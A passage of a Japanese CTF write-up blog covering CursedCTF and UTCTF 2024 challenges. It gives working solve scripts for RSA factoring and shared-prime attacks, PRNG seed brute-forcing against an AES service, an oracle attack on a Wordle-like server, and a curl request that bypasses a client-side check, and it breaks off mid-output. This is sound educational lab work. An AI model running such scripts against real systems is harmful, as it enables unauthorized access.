→7bda9fef8d591cc7e61996dc949d1a7fb72bc4787fae6827b58e4a2b750a05fe865aaa4e1ff8c972e1

http://adfoc.us/852190102765970
→https://people.cs.rutgers.edu/~rp1110/viewing/key_18_c78fcc81608acfbe142aea69b8fe5211.txt
→96e0fff512e15ecc75abd38bbacaf34022b9d4cbd67a2d90278f7d5cf3312df0a511cfcdedc71eed86

http://adfoc.us/852190102765971
→https://people.cs.rutgers.edu/~rp1110/viewing/key_19_857fabe656d69c230623282cc41db3bf.txt
→98c0112acab6b179a80bbccd93457a658928e3d6e2cf97f05e1a117610f4087d9422e2baab27aa0283

http://adfoc.us/852190102765972
→https://people.cs.rutgers.edu/~rp1110/viewing/key_20_d0165f0d4bd62a43f4da4a00f60036bf.txt
→f4f6d525f6e6277dc9adf42b31fd441b7570d34b5cc5a3a0a5092e3db474e442dab496382398da4eb2

http://adfoc.us/852190102765973
→https://people.cs.rutgers.edu/~rp1110/viewing/key_21_be70a99c81494e8d2ae810f6d42f105e.txt
→100ac93d5213b69f1c017900f0bfc228ffc6c3984f440d5107d9d265cdc948b86333b3aca3790134cc

http://adfoc.us/852190102765974
→https://people.cs.rutgers.edu/~rp1110/viewing/key_22_5f2a3c66990a9af3d89446e7198b334c.txt
→b1fa0ddbcfc85ff22763633bcb67072ff3d2425712d1040b0abadd0071acb92e5c8816fbef7492887c

http://adfoc.us/852190102765975
→https://people.cs.rutgers.edu/~rp1110/viewing/key_2_3453c485088298a8b933fd31548a15be.txt
→ca1a9844e53122e7010aa0bd6ab42f683edc4596bdfd420701a6799c467bac6df81f03867dc598b0a1

http://adfoc.us/852190102765976
→https://people.cs.rutgers.edu/~rp1110/viewing/key_23_6ab4ff044a413eedf57433735b77f62f.txt
→0ea674736b0da0ed81405d715293f5164a24eef539eb7e0261fe8466612e92ac465bbcd9ca35cfb035

http://adfoc.us/852190102765977
→https://people.cs.rutgers.edu/~rp1110/viewing/key_24_f6e77321965b825bf72a3a1e1a025756.txt
→2ff74bc660c9461301f579538bbd1223567e80dbd31bbbeb73714b9f57220a49b26fc328e697502260

http://adfoc.us/852190102765978
→https://people.cs.rutgers.edu/~rp1110/viewing/key_25_bcea729783b4b183b55857e5fca0beca.txt
→0e11256e0f065d41bb9dcfd54eab98f02699a33c9ff66290b64df628ae286045ec656fe90387305471

http://adfoc.us/852190102765979
→https://people.cs.rutgers.edu/~rp1110/viewing/key_26_c6e751662b38b049ce3ae344baf5d55f.txt
→4c1d1555238f290dd4fd6eea0f7a07394cdf305031ca2ba5a7f711b012cbdb2f00a40a7799af30e93f

http://adfoc.us/852190102765980
→https://people.cs.rutgers.edu/~rp1110/viewing/key_27_60622e6e871094fc1df9850f4f63b04f.txt
→6e53a5c148d9963b1a13258a4e0a6b02609011840236ff8c9515f9ffe9f9e0f6f80eefdbc637861c0e

http://adfoc.us/852190102765981
→https://people.cs.rutgers.edu/~rp1110/viewing/key_28_c532c4a1624e64d7f759405f718efeac.txt
→75748318d94836b8c776f61b2a54a678d7a132c22640de820428c1380f942b58b1d4181b091cca2ab1

http://adfoc.us/852190102765982
→https://people.cs.rutgers.edu/~rp1110/viewing/key_29_61c870f7d0d98e9aa3aac0fe693ffcd9.txt
→1303116778362a6f60e80df792ca3488b3d811e6668e59b22c0bac612796d7d8aef82c5de9cea20f5a

http://adfoc.us/852190102765983
→https://people.cs.rutgers.edu/~rp1110/viewing/key_30_a59ea600157ba2729ea1ae6427a06b32.txt
→d9003a17802955cfb31f6fcd867882de37d6efa5eb637baa7e7b053f25c7a47917850027cf06ad303b

http://adfoc.us/852190102765984
→https://people.cs.rutgers.edu/~rp1110/viewing/key_31_59ae2d81571fd694a9d6b97242d09c58.txt
→38ae99ad6ff121ab815cd8d22290c895ec8db9bed90305e9acd3a7b414474414cc1a288fdc951247d3

http://adfoc.us/852190102765985
→https://people.cs.rutgers.edu/~rp1110/viewing/key_3_e2b65d2204515cf541319f36f70a1b67.txt
→afb9f249b270319f5560cfd7b1d50414d13b2de33abe5a762ad838db43c04f2237f31b3bf4fd5a3d75

http://adfoc.us/852190102765986
→https://people.cs.rutgers.edu/~rp1110/viewing/key_4_f44dbdc50e1156b68c65aa105c73712d.txt
→f6f09b7fbc99e45acc936d81d6b65a0debd3c9e223943dd9978d5b039aaad363ca5a7a84cb2ef3dd82

http://adfoc.us/852190102765987
→https://people.cs.rutgers.edu/~rp1110/viewing/key_5_f43cfac7016698fd69ed7db8bb8e61cd.txt
→709d2925a03518fb8340bb78dd9975140939b80b1fbc4c887766f363b3ff53fe9bc82c03dba634d7d9

http://adfoc.us/852190102765988
→https://people.cs.rutgers.edu/~rp1110/viewing/key_6_718bd3c866d00d7c4cd68f4cf9533f52.txt
→7a59d849a6dfbf99e0fae195f8e1e9c91a40faec68cc3f9843671bd7f8885f735321552d233c6e77ab

http://adfoc.us/852190102765989
→https://people.cs.rutgers.edu/~rp1110/viewing/key_7_6bdb0ff81cc265b5ee620e9790e40694.txt
→76ca355bffa7e7e74c0075be1034458a7bcc752b257202bbc5855b6e80c725e814d005ec719f091f1f

http://adfoc.us/852190102765990
→https://people.cs.rutgers.edu/~rp1110/viewing/key_8_c7ba4e619320ceff8ae1364b3eb72ab1.txt
→daaa65b40827c0afe9695900292abd4f901f71a125db33ccfcee081b17523453d447c943989c820a8d

http://adfoc.us/852190102765991
→https://people.cs.rutgers.edu/~rp1110/viewing/key_9_1d72ffcd7ba902d2f1d09975aa900c07.txt
→bdd3d80f40e547c5a83cfbddfa63690db1979782d73b68d027610b9f47d0252e77f09312cb4f69f181

http://adfoc.us/852190102765992
→https://people.cs.rutgers.edu/~rp1110/viewing/out.txt
→697b1d14cd4c761d7b69b7bf11646855353777e150db8b1a3e1605f6b2a9ba05f318252c5a6ba7ecec

32個のkeyとout.txtの情報が得られた。この情報から逆算し、フラグを求める。

#!/usr/bin/env python3
PERM_1 = {0: 120, 1: 224, 2: 249, 3: 98, 4: 88, 5: 4, 6: 210, 7: 54, 8: 83, 9: 63, 10: 153, 11: 245, 12: 203, 13: 139, 14: 137, 15: 39, 16: 217, 17: 1, 18: 90, 19: 107, 20: 72, 21: 96, 22: 191, 23: 112, 24: 199, 25: 113, 26: 16, 27: 160, 28: 58, 29: 214, 30: 236, 31: 51, 32: 91, 33: 147, 34: 145, 35: 226, 36: 208, 37: 114, 38: 13, 39: 175, 40: 187, 41: 184, 42: 243, 43: 146, 44: 87, 45: 6, 46: 247, 47: 131, 48: 100, 49: 136, 50: 110, 51: 71, 52: 55, 53: 242, 54: 89, 55: 228, 56: 252, 57: 144, 58: 215, 59: 200, 60: 251, 61: 38, 62: 21, 63: 232, 64: 48, 65: 115, 66: 135, 67: 121, 68: 240, 69: 8, 70: 148, 71: 173, 72: 60, 73: 198, 74: 84, 75: 80, 76: 17, 77: 241, 78: 219, 79: 2, 80: 33, 81: 101, 82: 77, 83: 134, 84: 128, 85: 161, 86: 29, 87: 119, 88: 181, 89: 20, 90: 149, 91: 157, 92: 150, 93: 227, 94: 165, 95: 117, 96: 37, 97: 85, 98: 42, 99: 32, 100: 231, 101: 185, 102: 81, 103: 127, 104: 69, 105: 65, 106: 156, 107: 196, 108: 220, 109: 162, 110: 47, 111: 103, 112: 223, 113: 132, 114: 41, 115: 99, 116: 0, 117: 53, 118: 93, 119: 170, 120: 195, 121: 171, 122: 202, 123: 22, 124: 111, 125: 15, 126: 244, 127: 254, 128: 169, 129: 76, 130: 19, 131: 43, 132: 179, 133: 167, 134: 26, 135: 230, 136: 97, 137: 159, 138: 49, 139: 206, 140: 155, 141: 138, 142: 197, 143: 142, 144: 5, 145: 30, 146: 28, 147: 176, 148: 229, 149: 7, 150: 250, 151: 130, 152: 166, 153: 211, 154: 218, 155: 140, 156: 82, 157: 92, 158: 106, 159: 62, 160: 216, 161: 56, 162: 178, 163: 238, 164: 64, 165: 124, 166: 59, 167: 118, 168: 102, 169: 182, 170: 11, 171: 151, 172: 44, 173: 205, 174: 67, 175: 253, 176: 109, 177: 9, 178: 201, 179: 73, 180: 186, 181: 180, 182: 31, 183: 248, 184: 34, 185: 36, 186: 116, 187: 61, 188: 222, 189: 192, 190: 239, 191: 177, 192: 122, 193: 133, 194: 204, 195: 50, 196: 94, 197: 164, 198: 194, 199: 95, 200: 237, 201: 213, 202: 10, 203: 209, 204: 104, 205: 154, 206: 188, 207: 24, 208: 183, 209: 27, 210: 189, 211: 174, 212: 126, 213: 45, 214: 143, 215: 212, 216: 221, 217: 23, 218: 234, 219: 123, 220: 193, 221: 158, 222: 255, 223: 141, 224: 163, 225: 75, 226: 18, 227: 70, 228: 3, 229: 105, 230: 246, 231: 35, 232: 152, 233: 86, 234: 233, 235: 108, 236: 40, 237: 79, 238: 74, 239: 172, 240: 125, 241: 207, 242: 78, 243: 46, 244: 14, 245: 235, 246: 168, 247: 25, 248: 190, 249: 66, 250: 225, 251: 12, 252: 129, 253: 52, 254: 57, 255: 68}
PERM_2 = {120: 0, 224: 1, 249: 2, 98: 3, 88: 4, 4: 5, 210: 6, 54: 7, 83: 8, 63: 9, 153: 10, 245: 11, 203: 12, 139: 13, 137: 14, 39: 15, 217: 16, 1: 17, 90: 18, 107: 19, 72: 20, 96: 21, 191: 22, 112: 23, 199: 24, 113: 25, 16: 26, 160: 27, 58: 28, 214: 29, 236: 30, 51: 31, 91: 32, 147: 33, 145: 34, 226: 35, 208: 36, 114: 37, 13: 38, 175: 39, 187: 40, 184: 41, 243: 42, 146: 43, 87: 44, 6: 45, 247: 46, 131: 47, 100: 48, 136: 49, 110: 50, 71: 51, 55: 52, 242: 53, 89: 54, 228: 55, 252: 56, 144: 57, 215: 58, 200: 59, 251: 60, 38: 61, 21: 62, 232: 63, 48: 64, 115: 65, 135: 66, 121: 67, 240: 68, 8: 69, 148: 70, 173: 71, 60: 72, 198: 73, 84: 74, 80: 75, 17: 76, 241: 77, 219: 78, 2: 79, 33: 80, 101: 81, 77: 82, 134: 83, 128: 84, 161: 85, 29: 86, 119: 87, 181: 88, 20: 89, 149: 90, 157: 91, 150: 92, 227: 93, 165: 94, 117: 95, 37: 96, 85: 97, 42: 98, 32: 99, 231: 100, 185: 101, 81: 102, 127: 103, 69: 104, 65: 105, 156: 106, 196: 107, 220: 108, 162: 109, 47: 110, 103: 111, 223: 112, 132: 113, 41: 114, 99: 115, 0: 116, 53: 117, 93: 118, 170: 119, 195: 120, 171: 121, 202: 122, 22: 123, 111: 124, 15: 125, 244: 126, 254: 127, 169: 128, 76: 129, 19: 130, 43: 131, 179: 132, 167: 133, 26: 134, 230: 135, 97: 136, 159: 137, 49: 138, 206: 139, 155: 140, 138: 141, 197: 142, 142: 143, 5: 144, 30: 145, 28: 146, 176: 147, 229: 148, 7: 149, 250: 150, 130: 151, 166: 152, 211: 153, 218: 154, 140: 155, 82: 156, 92: 157, 106: 158, 62: 159, 216: 160, 56: 161, 178: 162, 238: 163, 64: 164, 124: 165, 59: 166, 118: 167, 102: 168, 182: 169, 11: 170, 151: 171, 44: 172, 205: 173, 67: 174, 253: 175, 109: 176, 9: 177, 201: 178, 73: 179, 186: 180, 180: 181, 31: 182, 248: 183, 34: 184, 36: 185, 116: 186, 61: 187, 222: 188, 192: 189, 239: 190, 177: 191, 122: 192, 133: 193, 204: 194, 50: 195, 94: 196, 164: 197, 194: 198, 95: 199, 237: 200, 213: 201, 10: 202, 209: 203, 104: 204, 154: 205, 188: 206, 24: 207, 183: 208, 27: 209, 189: 210, 174: 211, 126: 212, 45: 213, 143: 214, 212: 215, 221: 216, 23: 217, 234: 218, 123: 219, 193: 220, 158: 221, 255: 222, 141: 223, 163: 224, 75: 225, 18: 226, 70: 227, 3: 228, 105: 229, 246: 230, 35: 231, 152: 232, 86: 233, 233: 234, 108: 235, 40: 236, 79: 237, 74: 238, 172: 239, 125: 240, 207: 241, 78: 242, 46: 243, 14: 244, 235: 245, 168: 246, 25: 247, 190: 248, 66: 249, 225: 250, 12: 251, 129: 252, 52: 253, 57: 254, 68: 255}

def bxor(a, b): return bytes(x ^ y for x, y in zip(a, b))

KEYS = [
    'bb8d8662f042380e02c5464f4ff8f9a4fa64d24b28a624709be929bc8317041b5d73dc784cd295c123',
    '41bbccfaa873b521b2ad3d543dfaac12d6883c2cc16934a14d22a305882d47d91972263c3c20192135',
    'ca1a9844e53122e7010aa0bd6ab42f683edc4596bdfd420701a6799c467bac6df81f03867dc598b0a1',
    'afb9f249b270319f5560cfd7b1d50414d13b2de33abe5a762ad838db43c04f2237f31b3bf4fd5a3d75',
    'f6f09b7fbc99e45acc936d81d6b65a0debd3c9e223943dd9978d5b039aaad363ca5a7a84cb2ef3dd82',
    '709d2925a03518fb8340bb78dd9975140939b80b1fbc4c887766f363b3ff53fe9bc82c03dba634d7d9',
    '7a59d849a6dfbf99e0fae195f8e1e9c91a40faec68cc3f9843671bd7f8885f735321552d233c6e77ab',
    '76ca355bffa7e7e74c0075be1034458a7bcc752b257202bbc5855b6e80c725e814d005ec719f091f1f',
    'daaa65b40827c0afe9695900292abd4f901f71a125db33ccfcee081b17523453d447c943989c820a8d',
    'bdd3d80f40e547c5a83cfbddfa63690db1979782d73b68d027610b9f47d0252e77f09312cb4f69f181',
    '66780007a3aa4b2c96fc79dd83aa12fe362f38a42ccc4355d8a0d0079446354bb478990cdf3ab03fcb',
    'fcf16461d105e1872731a750b12d65b68ce2a5048cf42fa0a9ff951335c164c607dddc11a96015da61',
    '273f9f067fc3235c33ba79bc76217886d6542d80981bc8d794da24d30f61893f61f73432853ff475b4',
    '0235827a65e17fa7177188a7c9101a68b99f8bd99f5d242b32be16cb3bd073f9c8093640db9be60c6f',
    '88e530d66bf0cdada3179eb54b73c0936ba889375726940dc6c03051e0a4f3f035d406a5c088289411',
    '20da55588306639e2cb4960b11f46b172ac99a1df688b7d72d7ea907f6810548df7babe6974d889a37',
    'c58b4aec3534b9b0e6ebf16c176e40965e9a8d5df6b1a6ad19128d22e3d9715778cf49d34b7276b717',
    '7bda9fef8d591cc7e61996dc949d1a7fb72bc4787fae6827b58e4a2b750a05fe865aaa4e1ff8c972e1',
    '96e0fff512e15ecc75abd38bbacaf34022b9d4cbd67a2d90278f7d5cf3312df0a511cfcdedc71eed86',
    '98c0112acab6b179a80bbccd93457a658928e3d6e2cf97f05e1a117610f4087d9422e2baab27aa0283',
    'f4f6d525f6e6277dc9adf42b31fd441b7570d34b5cc5a3a0a5092e3db474e442dab496382398da4eb2',
    '100ac93d5213b69f1c017900f0bfc228ffc6c3984f440d5107d9d265cdc948b86333b3aca3790134cc',
    'b1fa0ddbcfc85ff22763633bcb67072ff3d2425712d1040b0abadd0071acb92e5c8816fbef7492887c',
    '0ea674736b0da0ed81405d715293f5164a24eef539eb7e0261fe8466612e92ac465bbcd9ca35cfb035',
    '2ff74bc660c9461301f579538bbd1223567e80dbd31bbbeb73714b9f57220a49b26fc328e697502260',
    '0e11256e0f065d41bb9dcfd54eab98f02699a33c9ff66290b64df628ae286045ec656fe90387305471',
    '4c1d1555238f290dd4fd6eea0f7a07394cdf305031ca2ba5a7f711b012cbdb2f00a40a7799af30e93f',
    '6e53a5c148d9963b1a13258a4e0a6b02609011840236ff8c9515f9ffe9f9e0f6f80eefdbc637861c0e',
    '75748318d94836b8c776f61b2a54a678d7a132c22640de820428c1380f942b58b1d4181b091cca2ab1',
    '1303116778362a6f60e80df792ca3488b3d811e6668e59b22c0bac612796d7d8aef82c5de9cea20f5a',
    'd9003a17802955cfb31f6fcd867882de37d6efa5eb637baa7e7b053f25c7a47917850027cf06ad303b',
    '38ae99ad6ff121ab815cd8d22290c895ec8db9bed90305e9acd3a7b414474414cc1a288fdc951247d3'
]
ct = '697b1d14cd4c761d7b69b7bf11646855353777e150db8b1a3e1605f6b2a9ba05f318252c5a6ba7ecec'
KEYS = [bytes.fromhex(k) for k in KEYS]
ct = bytes.fromhex(ct)

for k in KEYS[::-1]:
    roundkey = k
    for round in range(35):
        ct = bxor(ct, roundkey)
        roundkey = bytes(PERM_1[x] for x in roundkey)
        roundkey = bytes(PERM_2[x] for x in roundkey)

FLAG = ct.decode()
print(FLAG)
cursed{th4nk5_f0R_th3_c4Sh_8907d34e13a93}

hashbash (crypto)

サーバ処理の概要は以下の通り。

・inp: 16進数表記でhashにする文字列→hexデコード
・inpの長さは2以上であることをチェック
・hash_vals: HASH_ALGSの各アルゴリズムとその値のペアの辞書オブジェクト
・辞書オブジェクトの各アルゴリズムとその値を表示
・各アルゴリズムで値が3つ重複したら、フラグを表示
・各アルゴリズムで値が4つ重複したら、フラグ2を表示
・各アルゴリズムで値が5つ以上重複したら、フラグ3を表示

試しに0000を指定してみたら、フラグが表示された。

$ nc chals.4.cursedc.tf 31347
Enter string to hash (in hex): 0000
hash_bkdr(input) = 0x0
hash_djb2(input) = 0x1505
hash_js(input) = 0x4e67c6a7
hash_loselose(input) = 0x0
hash_sdbm(input) = 0x0
hash_crc32(input) = 0x41d912ff
Collision found! flag: cursed{bash_hash_make_cash}
cursed{bash_hash_make_cash}

fuck-joseph (crypto)

https://www.dcode.fr/prime-factors-decompositionでnを素因数分解する。

n = 75629683263434000464256062537146260915414088592541977770372518611110392769911 × 103749244738821801782446603878316975490744140733056657767774654036053137570499

あとは通常通り、RSA暗号の復号を行う。

#!/usr/bin/env python3
from Crypto.Util.number import *

e = 0x10001
n = 7846522518417589248988270000148869175483871909654188312830201338531351693904665461071052407652236904088895038751386311924570942790683843571278725648455589
c = 1946110978290405473570099039854806688094550945176127267787841744655801986217136119749922835315145822060478526423855096901944949875018840782662648593492571

p = 75629683263434000464256062537146260915414088592541977770372518611110392769911
q = 103749244738821801782446603878316975490744140733056657767774654036053137570499
assert n == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
cursed{s0rry_j0s3ph_y0u_4r3_t00_g00d}

UTCTF 2024 Writeup

この大会は2024/3/30 8:00(JST)~2024/4/1 8:00(JST)に開催されました。
今回もチームで参戦。結果は4138点で854チーム中141位でした。
自分で解けた問題をWriteupとして書いておきます。

Beginner: Basic Reversing Problem (Reverse Engineering)

Ghidraでデコンパイルする。

undefined8 main(EVP_PKEY_CTX *param_1,EVP_PKEY *param_2)

{
  keygen(param_1,param_2);
  return 0;
}

int keygen(EVP_PKEY_CTX *ctx,EVP_PKEY *pkey)

{
  long in_FS_OFFSET;
  undefined local_28 [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  l1(local_28);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

void l1(undefined *param_1)

{
  *param_1 = 0x75;
  l2(param_1 + 1);
  return;
}

void l2(undefined *param_1)

{
  *param_1 = 0x74;
  l3(param_1 + 1);
  return;
}

void l3(undefined *param_1)

{
  *param_1 = 0x66;
  l4(param_1 + 1);
  return;
}

void l4(undefined *param_1)

{
  *param_1 = 0x6c;
  l5(param_1 + 1);
  return;
}

void l5(undefined *param_1)

{
  *param_1 = 0x61;
  l6(param_1 + 1);
  return;
}

void l6(undefined *param_1)

{
  *param_1 = 0x67;
  l7(param_1 + 1);
  return;
}

void l7(undefined *param_1)

{
  *param_1 = 0x7b;
  l8(param_1 + 1);
  return;
}

void l8(undefined *param_1)

{
  *param_1 = 0x69;
  l9(param_1 + 1);
  return;
}

void l9(undefined *param_1)

{
  *param_1 = 0x5f;
  l10(param_1 + 1);
  return;
}

void l10(undefined *param_1)

{
  *param_1 = 99;
  l11(param_1 + 1);
  return;
}

void l11(undefined *param_1)

{
  *param_1 = 0x34;
  l12(param_1 + 1);
  return;
}

void l12(undefined *param_1)

{
  *param_1 = 0x6e;
  l13(param_1 + 1);
  return;
}

void l13(undefined *param_1)

{
  *param_1 = 0x5f;
  l14(param_1 + 1);
  return;
}

void l14(undefined *param_1)

{
  *param_1 = 0x72;
  l15(param_1 + 1);
  return;
}

void l15(undefined *param_1)

{
  *param_1 = 0x33;
  l16(param_1 + 1);
  return;
}

void l16(undefined *param_1)

{
  *param_1 = 0x76;
  l17(param_1 + 1);
  return;
}

void l17(undefined *param_1)

{
  *param_1 = 0x21;
  l18(param_1 + 1);
  return;
}

void l18(undefined *param_1)

{
  *param_1 = 0x7d;
  l19(param_1 + 1);
  return;
}

void l19(undefined *param_1)

{
  *param_1 = 0;
  return;
}

順にコードを文字にしていけばよい。

>>> codes = [0x75, 0x74, 0x66, 0x6c, 0x61, 0x67, 0x7b, 0x69, 0x5f, 99, 0x34, 0x6e, 0x5f, 0x72, 0x33, 0x76, 0x21, 0x7d]
>>> ''.join([chr(code) for code in codes])
'utflag{i_c4n_r3v!}'
utflag{i_c4n_r3v!}

HTMLソースを見ると、以下のスクリプトが書かれている。

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            var count = parseInt(localStorage.getItem('count')) || 0;
            var cookieImage = document.getElementById('cookieImage');
            var display = document.getElementById('clickCount');

            display.textContent = count;

            cookieImage.addEventListener('click', function() {
                count++;
                display.textContent = count;
                localStorage.setItem('count', count);

                if (count >= 10000000) {
                    fetch('/click', {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'application/x-www-form-urlencoded'
                        },
                        body: 'count=' + count
                    })
                    .then(response => response.json())
                    .then(data => {
                        alert(data.flag);
                    });
                }
            });
        });
    </script>

クリック回数が10000000回以上の場合の処理を実行する。

$ curl http://betta.utctf.live:8138/click -H "Content-Type: application/x-www-form-urlencoded" -d "count=10000000"
{"flag":"Wow, you beat me. Congrats! utflag{y0u_cl1ck_pr3tty_f4st}"}
utflag{y0u_cl1ck_pr3tty_f4st}

Contracts (Forensics)

https://www.extractpdf.com/で画像を抽出すると、フラグが書かれた画像が抽出できた。

utflag{s1mple_w1z4rding_mist4k3s}

RSA-256 (Cryptography)

Nをfactordbで素因数分解する。

N = 1025252665848145091840062845209085931 * 75575216771551332467177108987001026743883

あとは通常通り、RSA暗号の復号をする。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('vals.txt', 'r') as f:
    params = f.read().splitlines()

N = int(params[0].split(' ')[-1])
e = int(params[1].split(' ')[-1])
c = int(params[2].split(' ')[-1])

p = 1025252665848145091840062845209085931
q = 75575216771551332467177108987001026743883
assert p * q == N

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)

flag = long_to_bytes(m).decode()
print(flag)
utflag{just_send_plaintext}

Beginner: Anti-dcode.fr (Cryptography)

シーザー暗号26パターンを実行し、"utflag{"が含まれるものを探し、フラグを抽出する。

#!/usr/bin/env python3
import string
import re

def caesar(s, key):
    d = ''
    for c in s:
        code = ord(c)
        if c in string.ascii_uppercase:
            code = code - key
            if code < ord('A'):
                code += 26
        elif c in string.ascii_lowercase:
            code = code - key
            if code < ord('a'):
                code += 26
        d += chr(code)
    return d

with open('LoooongCaesarCipher.txt', 'r') as f:
    enc = f.read()

for i in range(26):
    dec = caesar(enc, i)
    if 'utflag{' in dec:
        pattern = '(utflag\{[a-z_]+\})'
        m = re.search(pattern, dec)
        flag = m.group(1)
        print(flag)
        break
utflag{rip_dcode}

numbers go brrr (Cryptography)

サーバの処理概要は以下の通り。

・seed: 0以上10**6以下のランダム整数
・以下繰り返し
 ・user_input: 数値入力
 ・user_inputが1の場合、繰り返し終了
 ・message: 入力
 ・encrypt(message.encode())を表示
  ・key = b''
  ・8回以下繰り返し
   ・keyにget_random_number() % (2 ** 16)の2バイト文字を追加
  ・ciphertext: messageをパディングし、AES暗号化
  ・ciphertextを16進数表記で返却
・flag: フラグ
・encrypt(flag.encode())を表示

seedをブルートフォースし、平文と暗号文の組み合わせが合う鍵を探し、フラグを復号する。

#!/usr/bin/env python3
import socket
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import random

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def get_random_number():
    global seed
    seed = int(str(seed * seed).zfill(12)[3:9])
    return seed

def encrypt(message):
    key = b''
    for i in range(8):
        key += (get_random_number() % (2 ** 16)).to_bytes(2, 'big')
    cipher = AES.new(key, AES.MODE_ECB)
    ciphertext = cipher.encrypt(pad(message, AES.block_size))
    return ciphertext.hex()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('betta.utctf.live', 7356))

data = recvuntil(s, b'\n').rstrip()
print(data)

try_pt = '1234'

data = recvuntil(s, b'\n').rstrip()
print(data)
print('2')
s.sendall(b'2\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
print(try_pt)
s.sendall(try_pt.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
try_ct_hex = data.split(' ')[-1]

data = recvuntil(s, b'\n').rstrip()
print(data)
print('1')
s.sendall(b'1\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
enc_flag = bytes.fromhex(data.split(' ')[-1])
print()

for seed in range(10 ** 6 + 1):
    ct_hex = encrypt(try_pt.encode())
    if ct_hex == try_ct_hex:
        break

key = b''
for i in range(8):
    key += (get_random_number() % (2 ** 16)).to_bytes(2, 'big')
cipher = AES.new(key, AES.MODE_ECB)
flag = unpad(cipher.decrypt(enc_flag), AES.block_size).decode()
print(flag)

実行結果は以下の通り。

Thanks for using our encryption service! To get the encrypted flag, type 1. To encrypt a message, type 2.
What would you like to do (1 - get encrypted flag, 2 - encrypt a message)?
2
What is your message?
1234
Here is your encrypted message: a8254764914d607479e2a1f3a48fd44c
What would you like to do (1 - get encrypted flag, 2 - encrypt a message)?
1
Here is the encrypted flag: 6f6a9ce8ada3ef9d09a1c953332ec706b0c6a37b57fcd406c4b3e8435c649a2320920190e4656fca057271a8aa2d206f

utflag{deep_seated_and_recurring_self-doubts}
utflag{deep_seated_and_recurring_self-doubts}

bits and pieces (Cryptography)

1つ目のRSA暗号はFermat法でnを素因数分解して復号する。また2つ目と3つ目のRSA暗号は共通する素数をGCDを使用して割り出し、それぞれ素因数分解して復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

with open('vals.txt', 'r') as f:
    params = f.read().splitlines()

n1 = int(params[0].split(': ')[1])
e1 = int(params[1].split(': ')[1])
c1 = int(params[2].split(': ')[1])

n2 = int(params[4].split(': ')[1])
e2 = int(params[5].split(': ')[1])
c2 = int(params[6].split(': ')[1])

n3 = int(params[8].split(': ')[1])
e3 = int(params[9].split(': ')[1])
c3 = int(params[10].split(': ')[1])

assert e1 == e2 == e3

p, q = fermat(n1)
phi = (p - 1) * (q - 1)
d = inverse(e1, phi)
m = pow(c1, d, n1)
flag1 = long_to_bytes(m).decode()

p = GCD(n2, n3)
assert p != 1

q2 = n2 // p
phi = (p - 1) * (q2 - 1)
d = inverse(e2, phi)
m = pow(c2, d, n2)
flag2 = long_to_bytes(m).decode()

q3 = n3 // p
phi = (p - 1) * (q3 - 1)
d = inverse(e3, phi)
m = pow(c3, d, n3)
flag3 = long_to_bytes(m).decode()

flag = flag1 + flag2 + flag3
print(flag)
utflag{oh_no_it_didnt_work_</3_i_guess_i_can_just_use_standard_libraries_in_the_future}

Cryptordle (Cryptography)

サーバの処理概要は以下の通り。

・wordlist: 単語の配列
・wordlistの各単語wordについて、以下を実行
 ・wordの長さが5であることをチェック
 ・wordの各文字letterが英小文字であることをチェック
・3回以下繰り返し
 ・answer: wordlistから1つ選択
 ・num_guesses = 0
 ・以下繰り返し
  ・num_guesses += 1
  ・guess: 入力
  ・guessがanswerと一致している場合、繰り返し終了
  ・response = 1
  ・5回以下繰り返し(x)
   ・a: guess[x]の英小文字インデックス
   ・b: answer[x]の英小文字インデックス
   ・response = (response * (a-b)) % 31
  ・responseを表示
 ・num_guessesが6より大きい場合終了
・フラグを表示

1箇所変更し、何倍になるかで答えとなる単語を導き出す。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('betta.utctf.live', 7496))

aj = ord('j') - ord('a')
ak = ord('k') - ord('a')

for attempt in range(3):
    answer = ''

    data = recvuntil(s, b'\n').rstrip()
    print(data)
    guess_base = 'jjjjj'
    print(guess_base)
    s.sendall(guess_base.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    base = int(data)

    for x in range(4):
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        guess = 'j' * x + 'k' + 'j' * (4 - x)
        print(guess)
        s.sendall(guess.encode() + b'\n')
        data = recvuntil(s, b'\n').rstrip()
        print(data)

        val = int(data)
        for b in range(26):
            if (aj - b) * val % 31 == (ak - b) * base % 31:
                char = chr(ord('a') + b)
                answer += char
                break

    base_response = 1
    for x in range(4):
        a = ord(guess_base[x]) - ord('a')
        b = ord(answer[x]) - ord('a')
        base_response = (base_response * (a - b)) % 31

    for b in range(26):
        response = base_response
        a = ord(guess_base[x]) - ord('a')
        response = (response * (a - b)) % 31
        if response == base:
            char = chr(ord('a') + b)
            answer += char
            break

    data = recvuntil(s, b'\n').rstrip()
    print(data)
    print(answer)
    s.sendall(answer.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

What's your guess?
jjjjj
5
What's your guess?
kjjjj
17
What's your guess?
jkjjj
16
What's your guess?
jjkjj
10
